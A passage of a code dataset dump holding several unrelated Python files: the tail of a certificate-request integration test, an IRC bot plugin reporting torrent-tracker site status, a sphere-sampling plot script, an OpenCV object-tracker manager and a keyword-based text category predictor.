failed\")\n        return ResponseRV.FAILURE\n\n\nclass TestCertReq(TestClientServerBase):\n    NAME = \"CertReqTest\"\n\n    def _run_test(self, src, dst):\n        logging.info(\"Testing: %s -> %s\", src.isd_as, dst.isd_as)\n        finished = threading.Event()\n        client = self._create_client(finished, src, dst.isd_as)\n        client.run()\n        if client.success:\n            return True\n        logging.error(\"Client success? %s\", client.success)\n        return False\n\n    def _create_client(self, finished, addr, dst_ia):\n        return TestCertClient(finished, addr, dst_ia)\n\n\ndef main():\n    args, srcs, dsts = setup_main(\"certreq\")\n    TestCertReq(args.client, args.server, srcs, dsts, max_runs=args.runs).run()\n\n\nif __name__ == \"__main__\":\n    main_wrapper(main)\n","sub_path":"python/integration/cert_req_test.py","file_name":"cert_req_test.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"63251207","text":"###\n# Copyright (c) 2017, Ormanya\n# Copyright (c) 2020, oddluck <oddluck@riseup.net>\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n#   * Redistributions of source code must retain the above copyright notice,\n#     this list of conditions, and the following disclaimer.\n#   * Redistributions in binary form must reproduce the above copyright notice,\n#     this list of conditions, and the following disclaimer in the\n#     documentation and/or other materials provided with the distribution.\n#   * Neither the name of the author of this software nor the name of\n#     contributors to this software may be used to endorse or promote products\n#     derived from this software without specific prior written consent.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n###\n\nimport supybot.plugins as plugins\nfrom supybot.commands import *\nimport supybot.ircutils as ircutils\nimport supybot.callbacks as callbacks\nimport requests\nimport json\nimport sys\nimport re\n\nimport supybot.schedule as schedule\nfrom datetime import datetime\n\n\nstatus_commands = [\n    \"btnStatus\",\n    \"redStatus\",\n    \"mtvStatus\",\n    \"nwcdStatus\",\n    \"ptpStatus\",\n    \"ggnStatus\",\n    \"arStatus\",\n    \"p32Status\",\n    \"ahdStatus\",\n    \"ahdStatus\",\n    \"empStatus\",\n    \"nblStatus\",\n]\nstatus_trackers = [\n    \"btn\",\n    \"red\",\n    \"mtv\",\n    \"nwcd\",\n    \"ptp\",\n    \"ggn\",\n    \"ar\",\n    \"p32\",\n    \"ahd\",\n    \"ahd\",\n    \"emp\",\n    \"nbl\",\n]\n\n\nclass WebParser:\n    \"\"\"Contains functions for getting and parsing web data\"\"\"\n\n    def getWebData(self, irc, url):\n        headers = {\n            \"User-Agent\": (\n                \"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko)\"\n                \" Chrome/24.0.1312.27 Safari/537.17\"\n            )\n        }\n        try:\n            content = requests.get(url, headers=headers, timeout=10)\n            content = json.loads(content.content)\n            return content\n        except:\n            irc.reply(\"Error: Couldn't connect to \" + url)\n            return\n\n    def prepareStatusString(\n        self, site_name, status, status_headers, breakpoints, line_headers\n    ):\n        # Specify look and feel\n        status_states = [\"Down\", \"Up\", \"Iffy\", \"Mean\"]\n        status_symbols = [\"Ⓧ\", \"✓\", \"◯\", \"💩\"]\n        status_colours = [chr(3) + \"04\", chr(3) + \"09\", chr(3) + \"07\", chr(3) + \"13\"]\n\n        # Prepare output status message\n        outStr = [line_headers[0]]\n        count = 0\n        line = 0\n        for element in status:\n            count = count + 1\n            i = int(element)\n\n            outStr[line] = (\n                outStr[line]\n                + status_colours[i]\n                + status_symbols[i]\n                + \" \"\n                + status_headers[count - 1]\n                + \" \"\n                + status_states[i]\n            )\n\n            # Split output at breakpoints\n            if count in breakpoints:\n                line = line + 1\n                outStr.extend([line_headers[line]])\n            # don't append \"|\" if end of line\n            elif count != len(status):\n                outStr[line] = outStr[line] + chr(15) + \" | \"\n        return outStr\n\n\nclass Trackers(callbacks.Plugin):\n    \"\"\"Contains commands for checking server status of various trackers.\"\"\"\n\n    threaded = True\n\n    # def __init__(self, irc):\n    #     print \"Setting it up\"\n\n    #     self.__parent = super(Trackers, self)\n    #     self.__parent.__init__(irc)\n    #     # Set  scheduler variables\n\n    #     # Schedule announce check\n    #     # Check if event already exists\n    #     try:\n    #         schedule.removeEvent('statusAnnounce')\n    #     except KeyError:\n    #         pass\n\n    #     def myEventCaller():\n    #         print \"Scheduling announce\"\n    #         self.autoAnnounce(irc)\n\n    #     schedule.addPeriodicEvent(myEventCaller, 30, 'statusAnnounce')\n    #     self.irc = irc\n\n    #     print \"All done\"\n\n    def formatTimeSince(self, interval):\n        # seconds\n        if (interval.days == 0) and (interval.seconds < 60):\n            time_passed = \"%s seconds ago\" % interval.seconds\n        # minutes\n        elif interval.days == 0 and interval.seconds < 3600:\n            if interval.seconds < 120:\n                time_passed = \"1 minute ago\"\n            else:\n                time_passed = \"%s minutes ago\" % int(interval.seconds / 60)\n        # hours\n        elif interval.days == 0:\n            if interval.seconds < 7200:\n                time_passed = \"1 hour ago\"\n            else:\n                time_passed = \"%s hours ago\" % int(interval.seconds / 3600)\n        # days\n        elif interval.days < 7:\n            if interval.days == 1:\n                time_passed = \"1 day ago\"\n            else:\n                time_passed = \"%s days ago\" % interval.days\n        # weeks\n        else:\n            if interval.days < 14:\n                time_passed = \"1 week ago\"\n            else:\n                time_passed = \"%s weeks ago\" % int(interval.days / 7)\n\n        return time_passed\n\n    def btnStatus(self, irc, msg, args, opts):\n        \"\"\"[--message]\n\n        Check the status of BTN site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"https://btn.trackerstatus.info/api/status/\"\n        site_name = \"BTN\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"API\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"CableGuy\"],\n            content[\"Barney\"],\n            3,\n        ]\n        status_headers = [\n            \"Site\",\n            \"API\",\n            \"Tracker\",\n            \"Tracker SSL\",\n            \"IRC\",\n            \"IRC Id\",\n            \"IRC Announce\",\n            \"kenyz\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    btn = wrap(btnStatus, [optional(\"something\")])\n\n    def redStatus(self, irc, msg, args, opts):\n        \"\"\"[--message]\n\n        Check the status of Redacted site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"http://red.trackerstatus.info/api/status/\"\n        site_name = \"RED\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"Tracker SSL\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    red = wrap(redStatus, [optional(\"something\")])\n\n    def opsStatus(self, irc, msg, args, opts):\n        \"\"\"[--message]\n\n        Check the status of Orpheus site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"http://ops.trackerstatus.info/api/status/\"\n        site_name = \"OPS\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"Tracker SSL\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    ops = wrap(opsStatus, [optional(\"something\")])\n\n    def mtvStatus(self, irc, msg, args, opts):\n        \"\"\"\n        Check the status of MTV site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"http://mtv.trackerstatus.info/api/status/\"\n        site_name = \"MTV\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"Tracker SSL\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    mtv = wrap(mtvStatus, [optional(\"something\")])\n\n    def nwcdStatus(self, irc, msg, args, opts):\n        \"\"\"\n        Check the status of NWCD site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"http://nwcd.trackerstatus.info/api/status/\"\n        site_name = \"NWCD\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n            content[\"ImageHost\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"Tracker SSL\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n            \"Image Host\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    nwcd = wrap(nwcdStatus, [optional(\"something\")])\n\n    def ptpStatus(self, irc, msg, args, opts):\n        \"\"\"\n        Check the status of PTP site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"https://ptp.trackerstatus.info/api/status/\"\n        site_name = \"PTP\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n            content[\"TrackerHTTPAddresses\"][\"51.255.35.90\"],\n            content[\"TrackerHTTPAddresses\"][\"164.132.51.73\"],\n            content[\"TrackerHTTPAddresses\"][\"164.132.54.181\"],\n            content[\"TrackerHTTPAddresses\"][\"164.132.54.182\"],\n            content[\"TrackerHTTPAddresses\"][\"192.99.58.220\"],\n            content[\"IRC\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"IRC Announce\",\n            \"IRC ID\",\n            \"51.255.35.90\",\n            \"164.132.51.73\",\n            \"164.132.54.181\",\n            \"164.132.54.182\",\n            \"192.99.58.220\",\n            \"Persona\",\n        ]\n        breakpoints = [3]\n        line_headers = [\"Services: \", \"Trackers: \"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    ptp = wrap(ptpStatus, [optional(\"something\")])\n\n    def ggnStatus(self, irc, msg, args, opts):\n        \"\"\"\n        Check the status of GGN site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"https://ggn.trackerstatus.info/api/status/\"\n        site_name = \"GGn\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"TrackerSSL\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    ggn = wrap(ggnStatus, [optional(\"something\")])\n\n    def arStatus(self, irc, msg, args, opts):\n        \"\"\"\n        Check the status of AR site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"http://ar.trackerstatus.info/api/status/\"\n        site_name = \"AR\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"TrackerHTTPS\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"Tracker SSL\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    ar = wrap(arStatus, [optional(\"something\")])\n\n    def p32Status(self, irc, msg, args, opts):\n        \"\"\"\n        Check the status of AR site, tracker, and irc. Use --message flag to force return of message, even if older than 24 hours.\n        \"\"\"\n        url = \"http://32p.trackerstatus.info/api/status/\"\n        site_name = \"32p\"\n\n        content = WebParser().getWebData(irc, url)\n\n        status = [\n            content[\"Website\"],\n            content[\"TrackerHTTP\"],\n            content[\"IRC\"],\n            content[\"IRCTorrentAnnouncer\"],\n            content[\"IRCUserIdentifier\"],\n        ]\n        status_headers = [\n            site_name + \" Site\",\n            \"Tracker\",\n            \"IRC\",\n            \"IRC Announce\",\n            \"IRC ID\",\n        ]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n        # Output message if --message flag specified or newer than 1 day\n        interval = datetime.now() - datetime.fromtimestamp(\n            float(content[\"tweet\"][\"unix\"])\n        )\n        if opts == \"--message\" or interval.days < 1:\n            message_string = content[\"tweet\"][\"message\"]\n            time_string = self.formatTimeSince(interval)\n\n            outstr = \"%s message: %s (%s)\" % (site_name, message_string, time_string)\n            irc.reply(outstr)\n\n    p32 = wrap(p32Status, [optional(\"something\")])\n\n    def ahdStatus(self, irc, msg, args, all):\n        \"\"\"\n        Check the status of AHD site, tracker, and irc.\n        \"\"\"\n\n        # This function is different than the others because it scrapes HTML rather than use an api site\n        url = \"https://status.awesome-hd.me\"\n        site_name = \"AHD\"\n\n        # Get web page content\n        headers = {\n            \"User-Agent\": (\n                \"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko)\"\n                \" Chrome/24.0.1312.27 Safari/537.17\"\n            )\n        }\n        try:\n            content = requests.get(url, headers=headers)\n        except:\n            irc.reply(\"Error: Couldn't connect to \" + url)\n            return\n\n        # Extract statuses\n        status_txt = re.search(\n            r'.*Site.*2x\\ (.*)\".*\\n.*2x\\ (.*)\".*\\n.*2x\\ (.*)\"', content.content.decode()\n        )\n        print(status_txt)\n        status = []\n        for i in range(0, 4):\n            if status_txt.group(i) == \"green\":\n                status.append(1)\n            else:\n                status.append(0)\n\n        status = [status[1], status[2], status[3]]\n        status_headers = [site_name + \" Site\", \"IRC\", \"Tracker\"]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n    ahd = wrap(ahdStatus, [optional(\"something\")])\n\n    def abStatus(self, irc, msg, args, all):\n        \"\"\"\n        Check the status of AB site, tracker, and irc.\n        \"\"\"\n\n        # This function is different than the others because it scrapes HTML rather than use an api site\n        url = \"http://status.animebytes.tv\"\n        site_name = \"AB\"\n\n        # Get web page content\n        headers = {\n            \"User-Agent\": (\n                \"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko)\"\n                \" Chrome/24.0.1312.27 Safari/537.17\"\n            )\n        }\n        try:\n            content = requests.get(url, headers=headers)\n        except:\n            irc.reply(\"Error: Couldn't connect to \" + url)\n            return\n\n        # Extract statuses\n        status_txt = re.search(\n            r'.*site.*\\n.*status (.*)\"[\\S\\s]+tracker.*\\n.*status'\n            r' (.*)\"[\\S\\s]+irc.*\\n.*status (.*)\"',\n            content.content.decode(),\n        )\n        status = []\n        for i in range(0, 4):\n            if status_txt.group(i) == \"normal\":\n                status.append(1)\n            else:\n                status.append(0)\n\n        status = [status[1], status[3], status[2]]\n        status_headers = [site_name + \" Site\", \"IRC\", \"Tracker\"]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n    ab = wrap(abStatus, [optional(\"something\")])\n\n    def empStatus(self, irc, msg, args, all):\n        \"\"\"\n        Check the status of EMP site, tracker, and irc.\n        \"\"\"\n\n        # This function is different than the others because it scrapes HTML rather than use an api site\n        url = \"http://about.empornium.ph/\"\n        site_name = \"EMP\"\n\n        # Get web page content\n        headers = {\n            \"User-Agent\": (\n                \"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko)\"\n                \" Chrome/24.0.1312.27 Safari/537.17\"\n            )\n        }\n        try:\n            content = requests.get(url, headers=headers)\n        except:\n            irc.reply(\"Error: Couldn't connect to \" + url)\n            return\n\n        # Extract statuses\n        status_txt = re.search(\n            r'.*pull-right\">(.*)<\\/span>[\\S\\s.]+?pull-right\">(.*)<\\/span>[\\S\\s.]+?pull-right\">(.*)<\\/span>[\\S\\s.]+?pull-right\">(.*)<\\/span>',\n            content.content.decode(),\n        )\n        status = []\n        for i in range(0, 5):\n            if status_txt.group(i) == \"Online\":\n                status.append(1)\n            else:\n                status.append(0)\n\n        status = [status[1], status[2], status[4], status[3]]\n        status_headers = [site_name + \" Site.me\", \"Site.sx\", \"Tracker\", \"IRC\"]\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n    emp = wrap(empStatus, [optional(\"something\")])\n\n    def nblStatus(self, irc, msg, args, all):\n        \"\"\"\n        Check the status of Nebulance site, tracker, and irc.\n        \"\"\"\n        url = \"https://status.nebulance.io/status.json\"\n        site_name = \"NBL\"\n\n        content = WebParser().getWebData(irc, url)\n        content2 = content[\"services\"]\n\n        status_tmp = [\n            content2[\"site\"][\"status\"],\n            content2[\"tracker\"][\"status\"],\n            content2[\"tracker_ssl\"][\"status\"],\n            content2[\"imagehost\"][\"status\"],\n        ]\n        status = []\n        for service in status_tmp:\n            if service:\n                status.append(1)\n            else:\n                status.append(0)\n        status_headers = [site_name + \" Site\", \"Tracker\", \"Tracker SSL\", \"Image Host\"]\n\n        breakpoints = [0]\n        line_headers = [\"\"]\n\n        outStr = WebParser().prepareStatusString(\n            site_name, status, status_headers, breakpoints, line_headers\n        )\n\n        for i in range(0, len(outStr)):\n            irc.reply(outStr[i])\n\n    nbl = wrap(nblStatus, [optional(\"something\")])\n\n    # def autoAnnounce(self, irc):\n    #     \"\"\"Schedule periodic announces for enabled trackers and channels\"\"\"\n    #     print \"Start\"\n    #     i = 0\n    #     for cmd in status_commands:\n    #         print cmd\n    #         for channel in irc.state.channels:\n    #             print \"announce.relay\"+status_trackers[i]\n    #             if self.registryValue(\"announce.relay\"+status_trackers[i], channel):\n    #                 print \"announce.relay\"+status_trackers[i]\n    #                 try:\n    #                     locals()[\"self.\"+cmd]()\n    #                 except:\n    #                     print \"Failed to query status\"\n    #                 print channel\n    #         i = +1\n\n\nClass = Trackers\n","sub_path":"Trackers/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":26807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"468144718","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n#n: dimension\n#M: number of samples\nn = 2\nM = 100\nradius=1.45\n\np_metric = 2\n\nX = np.zeros(n*M)\nfor j in range(0,M):\n  Xk = np.random.uniform(-1,1,n)\n\n  if p_metric == 1:\n    d = np.sum(np.abs(Xk))\n  else:\n    d = np.sqrt(np.sum(Xk**2))\n\n  X[j*n:(j+1)*n] = radius*Xk/d\n\nX = np.reshape(X,(M,n))\nplt.plot(X[:,0],X[:,1],'ok')\n\nt = np.linspace(-np.pi,+np.pi,100)\nplt.plot(radius*np.cos(t),radius*np.sin(t),'-k')\nplt.show()\n","sub_path":"scripts/uniform_sphere_sampling.py","file_name":"uniform_sphere_sampling.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"40050577","text":"import cv2\n\nclass Tracker():\n    '''Instantiates the tracker: \n        - Number of frames missed\n        - Bouding box position\n        - Initializes KCF tracker\n    '''\n    def __init__(self, img, pos):\n        self.frames_disapeared = 0\n        self.pos = pos # (Xi, Yi, w, h)\n        self.trk_center = [int(pos[0] + pos[2]/2), int(pos[1] + pos[3]/2)]\n        self.trk = cv2.TrackerKCF_create()\n        self.trk.init(img, pos)\n\nclass objects_updator():\n    '''Instantiates the object that will manager the trackers (Add, delete and update): \n        - List of all trackers\n        - Number of frames max that a tracker can be missed (without matches)\n    '''\n    def __init__(self, max_disapeared = 20):\n        self.trackers_list = []\n        self.max_disapeared = max_disapeared\n\n    # Verifies the matches between trackers and detections, returning new detections, trackers missed, and trackers matches\n    def verify_dets(self, dets):\n        matched_trk = []\n        unmatched_trk = [] \n        matched_dets = []\n        new_dets = []\n        \n        for id_trk, trk in enumerate(self.trackers_list):\n            for id_det, pos in enumerate(dets):\n                xi, yi, xf, yf = [pos[0], pos[1], pos[0] + pos[2], pos[1] + pos[3]]\n                if ( trk.trk_center[0] >= xi and trk.trk_center[0] <= xf ) and ( trk.trk_center[1] >= yi and trk.trk_center[1] <= yf ):\n                    matched_trk.append(id_trk)\n                    matched_dets.append(id_det)\n            \n            if id_trk not in matched_trk:\n                print(\"Unmatched\")\n                unmatched_trk.append(id_trk)\n\n        for idx_dets in range(len(dets)):\n            if idx_dets not in matched_dets:\n                new_dets.append(idx_dets)\n\n        return matched_trk, unmatched_trk, new_dets\n\n    def update_trks(self, img):\n        for idx, trk in enumerate(self.trackers_list):\n            (success, trk.pos) = trk.trk.update(img)\n            if success:\n                (x, y, w, h) = [int(v) for v in trk.pos]\n                trk.trk_center = [int(x + w/2), int(y + h/2)] # Tracker centroid\n                cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 3)\n            else:\n                self.trackers_list.pop(idx)\n\n\n    def update_dets(self, img, dets):\n        # Returns the ID's of the matched/unmatched trackers and the id of new detections\n        matched_trk, unmatched_trk, new_dets = self.verify_dets(dets) \n\n        for idx in new_dets:\n            self.trackers_list.append(Tracker(img, dets[idx]))\n\n        for idx in unmatched_trk:\n            self.trackers_list[idx].frames_disapeared += 1\n            if self.trackers_list[idx].frames_disapeared == self.max_disapeared:\n                self.trackers_list.pop(idx)\n\n        for idx in matched_trk:\n            self.trackers_list[idx].frames_disapeared = 0\n\n        return new_dets\n\n\n\n","sub_path":"class_tracker.py","file_name":"class_tracker.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"439740386","text":"import re\nimport Rake\n\n\n\ndef predictCategory(fname):\n    with open('vocabulary.txt','r') as voc_ref:\n        vocabulary=voc_ref.read()\n        vocabulary = re.split('\\n', vocabulary)\n        if '' in vocabulary:\n            vocabulary.remove('')\n        vocabulary = [token.split(':') for token in vocabulary]\n\n    voc_dict={}\n    for token in vocabulary :\n        if len(token)==2:\n            voc_dict [token [0]]=token[1]\n\n    #tokens=Tokenize(fname)\n\n    with open (fname,'r') as text_ref:\n        text=text_ref.read()\n\n\n    rake_obj = Rake.Rake('stopwords.txt')\n    tokens=rake_obj.run(text)\n\n\n\n    category = {}\n    for token in tokens :\n        if token[0] in voc_dict :\n            cls= voc_dict[token[0]]\n            if cls in category:\n                category[cls]+=1\n            else:\n                category[cls] = 1\n    print (category)\n    clslist = []\n    if category!={}:\n        clslist=[]\n        x = max(category.values())\n        for cls in category:\n            if category[cls] == x or category [cls]==x-1:\n                clslist .append(cls)\n    return clslist","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
